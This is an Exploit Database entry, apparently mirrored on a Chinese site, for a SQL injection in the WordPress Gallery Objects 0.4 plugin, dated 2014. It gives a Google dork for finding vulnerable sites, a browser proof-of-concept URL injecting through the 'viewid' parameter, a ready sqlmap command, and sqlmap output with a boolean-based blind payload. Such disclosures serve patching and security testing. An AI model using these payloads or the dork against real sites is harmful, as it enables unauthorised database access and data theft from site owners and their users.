WordPress Plugin Gallery Objects 0.4 – SQL Injection

• Exploit Database
• 21 阅读

• 作者： Claudio Viviani
  日期： 2014-07-18
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/34105/

• ######################
  # Exploit Title : WordPress Gallery Objects 0.4 SQL Injection
  
  # Exploit Author : Claudio Viviani
  
  # Vendor Homepage : http://galleryobjects.com/
  
  # Software Link : http://downloads.wordpress.org/plugin/gallery-objects.0.4.zip
  
  # Dork Google: inurl:/admin-ajax.php?action=go_view_object			 
  
  # Date : 2014-07-18
  
  # Tested on : Windows 7 / Mozilla Firefox
  			Windows 7 / sqlmap (0.8-1)
  			Linux / Mozilla Firefox
  			Linux / sqlmap 1.0-dev-5b2ded0
  
  
  
  ######################
  
  
  Poc via Browser:
  
  http://VICTIM/wp-admin/admin-ajax.php?action=go_view_object&viewid=1[ and 1=2]&type=html
  
  
  sqlmap:
  
  sqlmap -u "http://VICTIM/wp-admin/admin-ajax.php?action=go_view_object&viewid=1&type=html" -p viewid
  
  ---
  Place: GET
  Parameter: viewid
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: action=go_view_object&viewid=475 AND 7403=7403&type=html
  ---
  
  
  #####################
  
  Discovered By : Claudio Viviani
  		http://www.homelab.it
  		info@homelab.it
  
  		https://www.facebook.com/homelabit
  		https://twitter.com/homelabit
  		https://plus.google.com/+HomelabIt1/
  
  #####################